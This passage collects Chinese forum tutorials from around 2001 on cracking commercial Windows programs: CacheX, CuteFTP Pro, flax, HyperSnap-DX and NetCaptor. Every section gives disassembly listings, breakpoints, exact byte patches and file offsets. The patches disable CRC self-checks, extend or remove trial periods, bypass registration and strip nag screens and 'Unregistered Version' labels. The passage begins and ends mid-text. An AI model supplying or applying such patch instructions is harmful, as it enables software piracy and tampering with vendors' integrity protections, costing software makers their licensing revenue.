:0043EE40 33C0 xor eax, eax
:0043EE42 8D7D9C lea edi, dword ptr [ebp-64]
:0043EE45 AB stosd
:0043EE46 AB stosd
:0043EE47 AB stosd
:0043EE48 8B75F8 mov esi, dword ptr [ebp-08]
:0043EE4B 53 push ebx
:0043EE4C AB stosd
:0043EE4D AB stosd
:0043EE4E BFFAF64300 mov edi, 0043F6FA
:0043EE53 56 push esi
:0043EE54 57 push edi
:0043EE55 FF75FC push [ebp-04]
:0043EE58 E821F3FFFF call 0043E17E
:0043EE5D FF75FC push [ebp-04]
:0043EE60 E84DF2FFFF call 0043E0B2
:0043EE65 57 push edi
:0043EE66 53 push ebx
:0043EE67 56 push esi

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043EEDB(C)
|
:0043EE68 E8DAEFFFFF call 0043DE47
:0043EE6D 85C0 test eax, eax
:0043EE6F 7505 jne 0043EE76
:0043EE71 E878E9FFFF call 0043D7EE

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043EE6F(C)
|
:0043EE76 FF7510 push [ebp+10]
:0043EE79 FF750C push [ebp+0C]
:0043EE7C FF7508 push [ebp+08]
:0043EE7F FF75FC push [ebp-04]
:0043EE82 FFD6 call esi 《---注意此call,程序启动第一次中断在此，为利用注册名和注册码计算的key来解密已加密的程序代码，此key在[ebp+08]中的地址中。
:0043EE84 8BCB mov ecx, ebx
:0043EE86 894510 mov dword ptr [ebp+10], eax
:0043EE89 8BD1 mov edx, ecx
:0043EE8B 33C0 xor eax, eax
:0043EE8D 8BFE mov edi, esi
:0043EE8F FF75FC push [ebp-04]
:0043EE92 C1E902 shr ecx, 02
:0043EE95 F3 repz

在43ee30处,改为:
0043ee30 e9fbb10000 jmp 0044a030
0043ee35 90 nop

在0044a030(offset 45e30)处，改为：
0044a030 ff75fc push [ebp-04]
0044a033 8d459c lea eax,dword ptr [ebp-64]
0044a036 c700bc6c4684 mov [eax],84466cbc
0044a03c c7400481ff001e mov [eax+04],1e00ff81
0044a043 c740085c3ae70e mov [eax+08],0ee73a5c
0044a04a c7400c74c49c35 mov [eax+0c],359cc474
0044a051 c74010f7fc284b mov [eax+10],4b28fcf7
0044a058 e9d84dffff jmp 0043ee36

5、crc校验 (第四)

:0043D0CA 50 push eax
:0043D0CB E896110000 call 0043E266
:0043D0D0 53 push ebx

* Possible Reference to Menu: MenuID_0001
|

* Possible Reference to String Resource ID=00001: "CacheX for Internet Explorer"
|
:0043D0D1 6A01 push 00000001

* Possible Reference to String Resource ID=00020: "Week of %s"
|
:0043D0D3 6A14 push 00000014 《----修改此处
:0043D0D5 8D4590 lea eax, dword ptr [ebp-70]
:0043D0D8 50 push eax
:0043D0D9 E8F30D0000 call 0043DED1
:0043D0DE 33C0 xor eax, eax
:0043D0E0 8D7DEC lea edi, dword ptr [ebp-14]
:0043D0E3 AB stosd
:0043D0E4 AB stosd
:0043D0E5 AB stosd
:0043D0E6 AB stosd
:0043D0E7 33C0 xor eax, eax

在43d0d3处，如下修改：
0043d0d3 e988cf0000 jmp 0044a060

在0044a060 (offset 45e60)处打入如下数据:
6a148d4590
c7006bba11d0
c74004e8c340bb
c74008afaf5906
c7400c09e66d52
c7401040e6efbb
e94c30ffff

6、crc校验 (第五)

:0040BB86 8D4590 lea eax, dword ptr [ebp-70]
:0040BB89 53 push ebx
:0040BB8A 50 push eax
:0040BB8B E8D6260300 call 0043E266
:0040BB90 FF75FC push [ebp-04] 《----修改此处
:0040BB93 8D4590 lea eax, dword ptr [ebp-70]
:0040BB96 57 push edi

* Possible Reference to String Resource ID=00020: "Week of %s"
|
:0040BB97 6A14 push 00000014
:0040BB99 50 push eax
:0040BB9A E832230300 call 0043DED1
:0040BB9F 8D45EC lea eax, dword ptr [ebp-14]

* Possible Reference to Dialog: DialogID_014D, CONTROL_ID:0010, "Image and media files:"
|

* Possible Reference to String Resource ID=00016: " (not in Master Category List)"
|
:0040BBA2 6A10 push 00000010
:0040BBA4 50 push eax
:0040BBA5 6898864400 push 00448698

在0040bb90处，如下修改:
0040bb90 e9f7e40300 jmp 0044a08c
0040bb95 90 nop

在0044a08c处(offset 45e8c)打入如下数据:
ff75fc8d4590
c700f4622151
c740046717c3d7
c7400831aa0084
c7400cbefe6e71
c740109e675f97
e9dd1afcff

7、crc校验 （第六）

:0040BC2D 53 push ebx
:0040BC2E 50 push eax
:0040BC2F E832260300 call 0043E266
:0040BC34 8B7DFC mov edi, dword ptr [ebp-04] 《---修改此处
:0040BC37 8D4590 lea eax, dword ptr [ebp-70]
:0040BC3A 57 push edi

* Possible Reference to Menu: MenuID_0001
|

* Possible Reference to String Resource ID=00001: "CacheX for Internet Explorer"
|
:0040BC3B 6A01 push 00000001

* Possible Reference to String Resource ID=00020: "Week of %s"
|
:0040BC3D 6A14 push 00000014
:0040BC3F 50 push eax
:0040BC40 E88C220300 call 0043DED1

* Possible Reference to Dialog: DialogID_014D, CONTROL_ID:0010, "Image and media files:"
|

* Possible Reference to String Resource ID=00016: " (not in Master Category List)"
|
:0040BC45 6A10 push 00000010
:0040BC47 8D45EC lea eax, dword ptr [ebp-14]
:0040BC4A 53 push ebx

在0040bc34处，如下修改:
0040bc34 e980e40300 jmp 0044a0b9
0040bc39 90 nop

在0044a0b9处(offset 45eb9)打入如下数据:
8b7dfc8d4590
c700670b6c92
c740041abcfe56
c7400894914c33
c7400cc7ce935c
c7401099aca6b8
e9541bfcff

8、crc校验 (第七)

:00418CCA 50 push eax
:00418CCB E896550200 call 0043E266
:00418CD0 53 push ebx

* Possible Reference to Menu: MenuID_0001
|

* Possible Reference to String Resource ID=00001: "CacheX for Internet Explorer"
|
:00418CD1 6A01 push 00000001 《----修改此处
:00418CD3 8D4590 lea eax, dword ptr [ebp-70]

* Possible Reference to String Resource ID=00020: "Week of %s"
|
:00418CD6 6A14 push 00000014
:00418CD8 50 push eax
:00418CD9 E8F3510200 call 0043DED1
:00418CDE 8945FC mov dword ptr [ebp-04], eax

* Possible Reference to String Resource ID=00020: "Week of %s"
|
:00418CE1 6A14 push 00000014

在00418cd1处如下修改:
00418cd1 e910140300 jmp 0044a0e6

在0044a0e6处(offset 45ee6)打入如下数据:
6a018d4590
c700fa4614e4
c74004bd5ca7ea
c74008728b6d4f
c7400cf2c711a8
c74010907874c3
e9c4ebfcff

9、crc校验 (第八)

:00421891 72DD jb 00421870

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0042186E(C)
|
:00421893 8B45F8 mov eax, dword ptr [ebp-08] 《----修改此处
:00421896 8BD7 mov edx, edi
:00421898 F7D1 not ecx

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:004218AC(C)
|
:0042189A 8B3A mov edi, dword ptr [edx]
:0042189C 83C204 add edx, 00000004
:0042189F 33F9 xor edi, ecx
:004218A1 8938 mov dword ptr [eax], edi
:004218A3 83C004 add eax, 00000004
:004218A6 81FA7C244400 cmp edx, 0044247C
:004218AC 72EC jb 0042189A
:004218AE 8B86E8060000 mov eax, dword ptr [esi+000006E8]

在00421893处如下修改:
0042893 e97a880200 jmp 0044a112

在0044a112处(offset 45f12)打入如下数据:
8b45f88bd7b9a3005255e97777fdff

10、crc校验 (第九)

:004046F8 53 push ebx
:004046F9 68B8074400 push 004407B8 《----修改此处
:004046FE FF75F8 push [ebp-08]
:00404701 E88A410300 call 00438890
:00404706 8B8680000000 mov eax, dword ptr [esi+00000080]
:0040470C 83C40C add esp, 0000000C
:0040470F 8BD0 mov edx, eax
:00404711 8D8890000000 lea ecx, dword ptr [eax+00000090]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00404728(U)
|
:00404717 3BC1 cmp eax, ecx
:00404719 730F jnb 0040472A
:0040471B 8B18 mov ebx, dword ptr [eax]
:0040471D 335DFC xor ebx, dword ptr [ebp-04]
:00404720 891A mov dword ptr [edx], ebx
:00404722 83C204 add edx, 00000004
:00404725 83C004 add eax, 00000004
:00404728 EBED jmp 00404717

在004046f9处如下修改:
004046f9 e9235a0400 jmp 0044a121

在0044a121处(offset 45f21)打入如下数据:
68b8074400c745fca2461300e9cca5fbff

11、关于delete的破解

:0041C582 33C8 xor ecx, eax
:0041C584 FF45FC inc [ebp-04]
:0041C587 817DFCF4EE4300 cmp dword ptr [ebp-04], 0043EEF4
:0041C58E 72D9 jb 0041C569

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041C567(C)
|
:0041C590 57 push edi 《----修改此处
:0041C591 53 push ebx
:0041C592 FF75F8 push [ebp-08]
:0041C595 F7D1 not ecx
:0041C597 894DFC mov dword ptr [ebp-04], ecx
:0041C59A E8F1C20100 call 00438890
:0041C59F 8B4658 mov eax, dword ptr [esi+58]
:0041C5A2 83C40C add esp, 0000000C
:0041C5A5 8BD0 mov edx, eax
:0041C5A7 8D8890000000 lea ecx, dword ptr [eax+00000090]

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0041C5BE(U)
|
:0041C5AD 3BC1 cmp eax, ecx
:0041C5AF 730F jnb 0041C5C0
:0041C5B1 8B38 mov edi, dword ptr [eax]
:0041C5B3 337DFC xor edi, dword ptr [ebp-04]
:0041C5B6 893A mov dword ptr [edx], edi
:0041C5B8 83C204 add edx, 00000004
:0041C5BB 83C004 add eax, 00000004
:0041C5BE EBED jmp 0041C5AD

在41c590处，作如下修改:
0041c590 e99ddb0200 jmp 44a132
然后在44a132处(offset 45f32)打入：
5753ff75f8b9a3005255e95424fdff

这样修改后，delete不会出错了，但是，程序会退出。可以肯定，还有一个更狡猾的crc校验。我跟踪了一阵，如下代码可疑:

:004079E6 FF742410 push [esp+10]
:004079EA B9607C4400 mov ecx, 00447C60
:004079EF 55 push ebp
:004079F0 E8F59CFFFF call 004016EA
:004079F5 8B742418 mov esi, dword ptr [esp+18]
:004079F9 50 push eax
:004079FA 8BCE mov ecx, esi
:004079FC E8694C0100 call 0041C66A 《---此处可疑,里面的代码很长。
:00407A01 6AFF push FFFFFFFF
:00407A03 8BCF mov ecx, edi
:00407A05 E865000200 call 00427A6F 《---此处可疑,里面的代码很长。
:00407A0A 8B06 mov eax, dword ptr [esi]
:00407A0C 3BDD cmp ebx, ebp
:00407A0E 55 push ebp
:00407A0F 7507 jne 00407A18
:00407A11 8BCE mov ecx, esi
:00407A13 FF5074 call [eax+74]
:00407A16 EB06 jmp 00407A1E

不知正确与否， 望有兴趣的朋友仔细研究一下，指教小弟几招.

小弟无能，仍然没能完全搞定cachex,望各位赐教.

12、通过以上crc校验修改后，便可对程序进行任意修改了.

除去时间限制:

:0043D70C 0FB705A8864400 movzx eax, word ptr [004486A8]
:0043D713 0FB70DB8864400 movzx ecx, word ptr [004486B8]
:0043D71A 2BC8 sub ecx, eax
:0043D71C 780B js 0043D729
:0043D71E 0FBE0590864400 movsx eax, byte ptr [00448690]
:0043D725 2BC1 sub eax, ecx 《----eax中为2e,ecx为已使用天数.
:0043D727 7902 jns 0043D72B 《---改为jmp

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043D71C(C)
|
:0043D729 33C0 xor eax, eax

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0043D727(C)
|
:0043D72B C3 ret

在0043d725处,随你改，我将2bc1改为b008,这样每每都有8天的使用时间,永不过期.0043d727必改.

通过上面的时间限制修改，仍有未注册的时间提示窗口，如你不满意的话，想去掉该窗口，可作如下修改:

:0043D13C 8BC3 mov eax, ebx
:0043D13E 2BC7 sub eax, edi
:0043D140 50 push eax
:0043D141 FF750C push [ebp+0C] 《----修改此处
:0043D144 FF7508 push [ebp+08]
:0043D147 FFD3 call ebx
:0043D149 8BCE mov ecx, esi
:0043D14B 89450C mov dword ptr [ebp+0C], eax
:0043D14E 8BD1 mov edx, ecx
:0043D150 33C0 xor eax, eax
:0043D152 8BFB mov edi, ebx
:0043D154 53 push ebx
:0043D155 C1E902 shr ecx, 02
:0043D158 F3 repz
:0043D159 AB stosd
:0043D15A 8BCA mov ecx, edx
:0043D15C 83E103 and ecx, 00000003
:0043D15F F3 repz
:0043D160 AA stosb
:0043D161 E8FFAAFEFF call 00427C65
:0043D166 8B450C mov eax, dword ptr [ebp+0C]
:0043D169 59 pop ecx
:0043D16A 5F pop edi
:0043D16B 5E pop esi
:0043D16C 5B pop ebx
:0043D16D C9 leave
:0043D16E C20800 ret 0008

在0043d141处，将ff750c改为6a0390即可.但这样一来，"about "的窗口将不再出现.

但在标题栏仍有Unregistered Version字样，如何将(Unregistered Version)去掉呢？好办，用winhex打开CXie.exe,
在offset 5bb14处，看到了吧,将Unregistered Version改为你喜欢的东东。我改为了(version 4.00)

通过这样修改，除了delete外，其它功能应该没有问题.唯一遗憾的是delete还未解决,不过我正在努力。我相信，没有破不了的东东。(注意那个about窗口)
感谢你花了这么长时间看到这里，望及时指教.

玉川

2001.09.18


CuteFTP Pro 2.0 Final

 标 题:去除CuteFTP Pro 2.0 Final(2001.11.20)自校验 (2千字)
发信人:小楼
时 间:2001-11-26 20:48:21
详细信息:
去除CuteFTP Pro 2.0 Final(2001.11.20)自校验

我们看看CuteFTP Pro 2.0 Final的自校验情况。
用exescope修改cftppro.exe（1,966,080 字节）资源后保存为test.exe。
运行后得到提示“CuteFTP ... check failed”。

用smartcheck载入test.exe，程序运行,最后自动退出。
搜索createfilea，看到如下：
CreateFileA（"E:\CUTEFTP PRO\TEST.EXE"）
(test.exe offset 0007F4D5)

wdasm反编译test.exe：
* Reference To: KERNEL32.CreateFileA, Ord:0034h
|
:0047F4D4 FF1568945200 Call dword ptr [00529468]
......
......
* Reference To: KERNEL32.CreateFileMappingA, Ord:0035h
|
:0047F4E3 FF1570945200 Call dword ptr [00529470]
<-- 创建文件test.exe内存镜像
......
......
* Reference To: KERNEL32.MapViewOfFile, Ord:01D6h
|
:0047F569 FF1574945200 Call dword ptr [00529474]
<-- 分段读入
......
......
//自校验开始
:0047F588 8A0439 mov al, byte ptr [ecx+edi]
:0047F58B 8D54142C lea edx, dword ptr [esp+edx+2C]
:0047F58F 3002 xor byte ptr [edx], al
:0047F591 8B542410 mov edx, dword ptr [esp+10]
:0047F595 41 inc ecx
:0047F596 42 inc edx
:0047F597 3BCE cmp ecx, esi
:0047F599 89542410 mov dword ptr [esp+10], edx
:0047F59D 72D8 jb 0047F577
//自校验结束
<-- 文件test.exe自头开始，每8个字节为一组，依次进行“异或XOR”计算，最后得到8字节的校验值

* Reference To: KERNEL32.UnmapViewOfFile, Ord:02B0h
|
:0047F5A0 FF156C945200 Call dword ptr [0052946C]
:0047F5A6 8B4C2424 mov ecx, dword ptr [esp+24]
<-- 释放文件内存镜像
......
......
:0047F5E8 8A4C041C mov cl, byte ptr [esp+eax+1C]
:0047F5EC 84C9 test cl, cl
:0047F5EE 7510 jne 0047F600
:0047F5F0 8BD0 mov edx, eax
:0047F5F2 48 dec eax
:0047F5F3 85D2 test edx, edx
:0047F5F5 75F1 jne 0047F5E8
<-- 对整个文件的校验值再进行一些计算，
<-- 若最后8字节值为00000000 00000000，则文件没有被修改
:0047F5F7 B801000000 mov eax, 00000001
<-- 所以放入记号，eax==1
:0047F5FC 83C448 add esp, 00000048
:0047F5FF C3 ret

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0047F5EE(C)
|
:0047F600 33C0 xor eax, eax
<--不然，eax==0
:0047F602 83C448 add esp, 00000048
:0047F605 C3 ret

因此改:0047F5EC 84C9 test cl, cl
为 30C9 xor cl, cl
去除其自校验。

End.

From CCG

2001.11.26


flax 1.31

 标 题:破解flax 1.31的校验及功能限制 (3千字)
发信人:玉川
时 间:2001-10-25 8:26:20
详细信息:
破解flax 1.31的校验及功能限制

这个软件的注册机听说老外已搞出来了，我搞它的CRC，便于汉化，也是为了自己学习。
这东东费了俺好多时间，写的很粗略，错误在所难免，很不好意思，还望谅解和及时指教。具体改法，自己看着办。

这软件的保护很好，我的体会：
1：将不大的模块分成许多小模块，运用指针数组，不断调用，在大量循环中使用大量跳转，叫跟踪的摸不着北。
2：动态解密生成flax002.exe模块，校验flax.exe,校验后即刻删除。（够狡猾的)
3：有自写功能，修改它的代码还不用winhex.动态改后，退出时还可保存在原文件。

第一。破注册
下中断：bpm 4d3240.从程序启动开始，只要这个地址的值不为零，程序即被破解。实际上，这地址是注册码的指针。如果你的注册正确，便会在flax.ini中生成一个"key="的键，[4d3240]便是从key中取出注册码。当然，注册不正确，就不会生成这个键。要使[4d3240]为非零，有五处地方需要修改，你看着办吧。
第二。破CRC校验。
我发现只有两处关键的校验。（可能还有其他，但我改的倒满好的运行）
1。下中断bpx 41ff75.启动程序，当第三次中断时，下d 43713c.仔细看看，后面的六组字数据外加[43715c]的字数据即为CRC校验码。正确的校验码应该是9742 2614 E0D6 7261 5D85
0512 ,[43715c]中的应该是b260.你的程序修改后，这些校验码如有改变，把它改回来。
2。flax动态生成flax002.exe,flax002.exe是动态校验flax.exe的。flax002.exe在c:\window\temp\flax\下，校验后即被删除。下中断在411d34后，便可在该目录下发现。
下中断，bpx 40106b,这时程序会中断在flax002.exe中，见下面：
:0040105D E8D7000000 call 00401139
:00401062 83C408 add esp, 00000008
:00401065 8B0D50904000 mov ecx, dword ptr [00409050]
:0040106B 33C8 xor ecx, eax 《－－－中断在此，
:0040106D 890D50904000 mov dword ptr [00409050], ecx 《－－－ecx中的数即为校验码。正确的应该是00465820.
:00401073 8B55FC mov edx, dword ptr [ebp-04]
:00401076 52 push edx
:00401077 E875050000 call 004015F1
:0040107C 83C404 add esp, 00000004
:0040107F 6800010000 push 00000100
:00401084 8D85E8FEFFFF lea eax, dword ptr [ebp+FFFFFEE8]

如何修改呢？
flax002.exe的代码是在00403378 call 00402821中通过解密生成的，进入该call:
:0040287F 8B45F4 mov eax, dword ptr [ebp-0C]
:00402882 3B0570664300 cmp eax, dword ptr [00436670]
:00402888 0F83FC000000 jnb 0040298A 《－－－循环a000次，每次生成一字节的代码。
:0040288E E8FC000000 call 0040298F 《－－－生成flax002.exe的代码
:00402893 668945F8 mov word ptr [ebp-08], ax
:00402897 0FBF4DF8 movsx ecx, word ptr [ebp-08]
:0040289B 81F900010000 cmp ecx, 00000100
:004028A1 7D40 jge 004028E3
:004028A3 668B55F8 mov dx, word ptr [ebp-08]
:004028A7 52 push edx
:004028A8 E867060000 call 00402F14 《－－－存入内存。
:004028AD 83C404 add esp, 00000004
:004028B0 0FBF45FC movsx eax, word ptr [ebp-04]
:004028B4 8A4DF8 mov cl, byte ptr [ebp-08]
:004028B7 888830564300 mov byte ptr [eax+00435630], cl
:004028BD 668B55FC mov dx, word ptr [ebp-04]
:004028C1 6683C201 add dx, 0001

改动flax002.exe中的代码，最好是在生成它时便作改动。找到要改动代码在flax002.exe中的offset,对照00402882处eax的值，作相应改动。生成的代码在00566ee0开始的内存中。趁还未生成flax002.exe之前，修改00566ee0中的内存数据。


HyperSnap-DX ver.4.20.00

 标 题:去除HyperSnap-DX ver.4.20.00 CRC校验 (3千字)
发信人:小楼
时 间:2001-11-18 18:03:23
详细信息:
去除HyperSnap-DX ver.4.20.00 CRC校验

一个具有很强CRC校验的软件，将hprsnap.exe、hprsnap.xxx、hprres.dll、hprres.xxx四个文件更名或修改（汉化）都不能运行程序。如果随便修改程序跳转将很容易导致“程序执行非法操作”。

1. 复制HprSnap.exe更名为test.exe，复制HprRes.xxx更名为test.xxx。用smartcheck载入后运行，执行完毕后终止进程。
选择smartcheck中的“显示所有事件”按钮，了解一下作了些什么?
hprsnap.exe中
createfilea 路径\hprsnap.exe (hprsnap.exe offset 00076E9D)
createfilea 路径\hprsnap.xxx (hprsnap.exe offset 00076E9D)
createfilea 路径\hprres.dll (hprsnap.exe offset 00076E9D)
createfilea 路径\hprres.xxx (hprsnap.exe offset 00076E9D)

test.exe中
createfilea 路径\test.exe (test.exe offset 00076E9D)
createfilea 路径\test.xxx (test.exe offset 00076E9D)
随后不久就是nag。

2. wdasm反编译test.exe
* Reference To: KERNEL32.CreateFileA, Ord:0037h
|
:00476E9C Call dword ptr [00524358]
//smartcheck计算offset与wdasm有少许偏差
:00476EA2 mov esi, eax
:00476EA4 cmp esi, edi
//文件不存在就end，所以要同时伪造test.xxx
:00476EA6 jne 00476EBC

F10一直走，直到开始标准CRC32校验
|
:0045FD2D mov al, byte ptr [ebp+edx-00000430]
//自第一个字节开始，顺次取test.exe每个字节，每个字段长度为0x400
:0045FD34 mov ebx, ecx
:0045FD36 and ebx, 000000FF
:0045FD3C xor eax, ebx
:0045FD3E shr ecx, 08
:0045FD41 mov eax, dword ptr [4*eax+0056E6F0]
//自0056E6F0，length=0x400，为CRC32密码表
:0045FD48 xor eax, ecx
:0045FD4A inc edx
:0045FD4B cmp edx, edi
:0045FD4D mov dword ptr [esi], eax
:0045FD4F jl 0045FD29
:0045FD51 mov ebx, dword ptr [ebp+0C]
:0045FD54 mov eax, dword ptr [ebp-18]
:0045FD57 add esi, 00000004
:0045FD5A dec eax
:0045FD5B mov dword ptr [ebp-18], eax
:0045FD5E jne 0045FCF9
:0045FD34 mov ebx, ecx
:0045FD36 and ebx, 000000FF
:0045FD3C xor eax, ebx
:0045FD3E shr ecx, 08
:0045FD41 mov eax, dword ptr [4*eax+0056E6F0]
:0045FD48 xor eax, ecx
:0045FD4A inc edx
:0045FD4B cmp edx, edi
:0045FD4D mov dword ptr [esi], eax
//每个字段的CRC值依次保存在dword ptr [esi], ，长度为文件大小除以0*400
:0045FD4F jl 0045FD29
:0045FD51 mov ebx, dword ptr [ebp+0C]
:0045FD54 mov eax, dword ptr [ebp-18]
:0045FD57 add esi, 00000004
:0045FD5A dec eax
:0045FD5B mov dword ptr [ebp-18], eax
:0045FD5E jne 0045FCF9

再来，看看以后对CRC校验表作什么
bpm dword ptr [esi] （参照:0045FD4D mov dword ptr [esi], eax处）
中断于:004537B0 mov ecx, ebx处，
由此开始进行第二次计算，也不知道是如何作的，hash？

3.从:004537B0 mov ecx, ebx那里用F12出来，随后就是F10一直走，比较hprsnap.exe与test.exe运行的不同，关键在
:0045FF04 call 004C71A7
:0045FF09 add esp, 0000000C
//hprsnap.exe: EAX==0
//test.exe: EAX==FFFFFF68

以EAX值为旗帜，层层深入
:004C7301 call 004C6F82 <== F8

:004C7088 call [eax+54] <== F8

:00445B76 call 004463D8
:00445B7B pop ecx
:00445B7C test eax, eax <-- EAX=0, CRC正确
:00445B7E pop ecx
:00445B7F je 00445B91 <-- je==> jmp, job done.
:00445B81 xor eax, eax
:00445B83 cmp dword ptr [ebp-04], eax
:00445B86 jne 00445B93
:00445B88 mov [ebp-04], FFFFFF66
<--否则最后赋值EAX=FFFFFF66，这就是随便改跳转导致“程序非法操作”的原因

如果愿意进入:00445B76 call 004463D8看看，最后就是
:00446435 mov edx, dword ptr [esi+ecx]
:00446438 mov ebx, dword ptr [ecx]
:0044643A cmp edx, ebx
<--一切归根到比较两组长度为0x14的hash值。

4.总结
改:00445B7F 7410 je 00445B91
为 EB10 jmp 00445B91

end.

FROM CCG


NetCaptor6.5.0 Final

 标 题:peter,交一篇FCG的作业：破解NetCaptor最新版6.5.0 Final的限制 (14千字)
发信人:moonlite
时 间:2001-10-1 14:44:16
详细信息:
〓破解NetCaptor最新版6.5.0 Final的限制〓

破解者：moonlite[BCG][FCG]
目标： NetCaptor最新版6.5.0 Final
应用平台：Win9X/ME/WinNT/2K
软件主页：http://www.netcaptor.com/
大小：675k
软件用途： 一个比IE好很多的浏览器，新版本功能多多，本人一直用它。
保护：ASPack 2.11c 壳，30天试用，提示注册Nag窗，CRC校验。
工具：TRW1.22, W32dasm,Caspr,Winhex

◆首先去掉它的时间限制：

首先，用Caspr脱掉外壳。

1)运行NetCaptor.exe，提示窗口弹出，告诉你已经Trial到第几天了。。。(注：这个窗口只在特定的天数出现，如第1，5，10，15天等等)
点击按钮“Try NetCaptor”，并Ctrl+D激活，并来到TRW领空。Pmodule一次，并按F12+F10数次，会来到：

:00504643 E80498FDFF call 004DDE4C
:00504648 A1D46F5000 mov eax, dword ptr [00506FD4]
:0050464D 8A00 mov al, byte ptr [eax]
:0050464F 3C02 cmp al, 02-------------------------->打补丁①：mov al,02★
:00504651 0F94C3 sete bl
:00504654 8B15D46F5000 mov edx, dword ptr [00506FD4]
:0050465A 3C02 cmp al, 02
:0050465C 0F8498000000 je 005046FA
:00504662 8D45C0 lea eax, dword ptr [ebp-40]
:00504665 E86EECF9FF call 004A32D8
:0050466A 8B75C0 mov esi, dword ptr [ebp-40]
:0050466D A1D46F5000 mov eax, dword ptr [00506FD4]
:00504672 897004 mov dword ptr [eax+04], esi
:00504675 A1D46F5000 mov eax, dword ptr [00506FD4]
:0050467A 83FE1E cmp esi, 0000001E---------------------|这个语句好面熟呵！！
:0050467D 7E08 jle 00504687---------------------------------->光标在此！
:0050467F A1D46F5000 mov eax, dword ptr [00506FD4]
:00504684 C60001 mov byte ptr [eax], 01

* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:0050467D(C)
|
:00504687 B9B6945000 mov ecx, 005094B6
:0050468C 8B15D46F5000 mov edx, dword ptr [00506FD4]
:00504692 8B5204 mov edx, dword ptr [edx+04]
:00504695 A1D46F5000 mov eax, dword ptr [00506FD4]
:0050469A 8A00 mov al, byte ptr [eax]
:0050469C E8EBF0FFFF call 0050378C------------------------->进这个CALL追下去，会call出Nag提示窗的~~
:005046A1 A0B6945000 mov al, byte ptr [0050---------------->光标在此！
:005046A6 2C01 sub al, 01

Up↑往上看：你一定看到问题所在了吧？！我在0050464F处打第一个补丁。

◆解决它的CRC校验：

它的CRC校验很新颖。它不是在程序启动过程中报错，而是启动完成后，大概1分钟左右，才弹出出错信息，确定后程序退出。
可是——>启动完成后，搜索出错的字符串，却搜不到；而出错窗口弹出后，出错的字符串倒是可以搜索得到，但是BPM下断却拦不到。
为了拦它还费了菜鸟的脑筋。我想既然启动完成后不是马上出错，而是等一会。。。一定与时间函数有关。
来 BPX GetSystemTime试试：
呵，运气真好！请看↓

F12+F10 会到这里：

* Referenced by a CALL at Addresses:
|:004A2B7F , :004D2445 , :004D248B , :004D351C , :004D3CBA
|
:00402A3C 55 push ebp
:00402A3D 8BEC mov ebp, esp
:00402A3F 83C4E8 add esp, FFFFFFE8
:00402A42 8D45E8 lea eax, dword ptr [ebp-18]
:00402A45 50 push eax

* Reference To: kernel32.GetSystemTime, Ord:0000h
|
:00402A46 E85DE8FFFF Call 004012A8
:00402A4B 0FB745F0 movzx eax, word ptr [ebp-10]------------>光标在此！
:00402A4F 6BC03C imul eax, 0000003C
:00402A52 660345F2 add ax, word ptr [ebp-0E]
:00402A56 6BC03C imul eax, 0000003C
:00402A59 31D2 xor edx, edx
:00402A5B 668B55F4 mov dx, word ptr [ebp-0C]
:00402A5F 01D0 add eax, edx
:00402A61 69C0E8030000 imul eax, 000003E8
:00402A67 668B55F6 mov dx, word ptr [ebp-0A]
:00402A6B 01D0 add eax, edx
:00402A6D 890544805000 mov dword ptr [00508044], eax
:00402A73 8BE5 mov esp, ebp
:00402A75 5D pop ebp
:00402A76 C3 ret

接着按F12+F10-->

* Possible StringData Ref from Code Obj ->"?�雼]��"
|
:004D30AE 6874314D00 push 004D3174
:004D30B3 64FF30 push dword ptr fs:[eax]
:004D30B6 648920 mov dword ptr fs:[eax], esp
:004D30B9 8BC3 mov eax, ebx
:004D30BB E8CC0B0000 call 004D3C8C
:004D30C0 8D45F4 lea eax, dword ptr [ebp-0C]
:004D30C3 E81002FDFF call 004A32D8
:004D30C8 8B8380080000 mov eax, dword ptr [ebx+00000880]-------->光标在此！
:004D30CE 85C0 test eax, eax
:004D30D0 0F8483000000 je 004D3159
:004D30D6 33D2 xor edx, edx
:004D30D8 E81F32FDFF call 004A62FC
:004D30DD E8AEF7FCFF call 004A2890---------------------------->返回关键的eax值
:004D30E2 3DC0270900 cmp eax, 000927C0------------------------>eax值与927C0比较
:004D30E7 7E70 jle 004D3159----------------------------->eax值不比927C0大的话，CRC 就通过了！补丁②：jmp 004D3159★★
* Possible StringData Ref from Data Obj ->"@"
|
:004D30E9 A18C725000 mov eax, dword ptr [0050728C]
:004D30EE 803800 cmp byte ptr [eax], 00
:004D30F1 7566 jne 004D3159
:004D30F3 8D4DF0 lea ecx, dword ptr [ebp-10]
:004D30F6 B293 mov dl, 93

* Possible StringData Ref from Code Obj ->"蓥缧蜚琰岢轴狳?
|
:004D30F8 B888314D00 mov eax, 004D3188------------------------>指向加密的“NetCaptor Error”
:004D30FD E836F8FCFF call 004A2938---------------------------->还原加密字符串的CALL/进入----->
:004D3102 8B45F0 mov eax, dword ptr [ebp-10]-------------->指向还原后的“NetCaptor Error”
:004D3105 50 push eax--------------------------------->入栈保存
:004D3106 8D4DEC lea ecx, dword ptr [ebp-14]
:004D3109 B293 mov dl, 93

◇◇还原加密字符串的CALL进入→里面真的好精彩啊！◇◇

↓-------------------------------------------------------------------↓

* Referenced by a CALL at Addresses:
|:004A2A25 , :004A2ACC , :004A2B1C , :004A2D34 , :004A324A
|:004D30FD , :004D3110 , :004D32A8 , :004D32BB , :00503905
|:0050392D , :0050395B , :0050397D , :005039A5 , :005039CF
|:005039F7 , :00503A19 , :00503A48 , :00503AF4
|
:004A2938 55 push ebp
:004A2939 8BEC mov ebp, esp
:004A293B 83C4F4 add esp, FFFFFFF4
:004A293E 53 push ebx
:004A293F 56 push esi
:004A2940 57 push edi
:004A2941 33DB xor ebx, ebx
:004A2943 895DF4 mov dword ptr [ebp-0C], ebx
:004A2946 8BF1 mov esi, ecx
:004A2948 8855FB mov byte ptr [ebp-05], dl-------------->解密参数93h
:004A294B 8945FC mov dword ptr [ebp-04], eax------------>还原后的字符串地址保存到[ebp-04]
:004A294E 33C0 xor eax, eax
:004A2950 55 push ebp

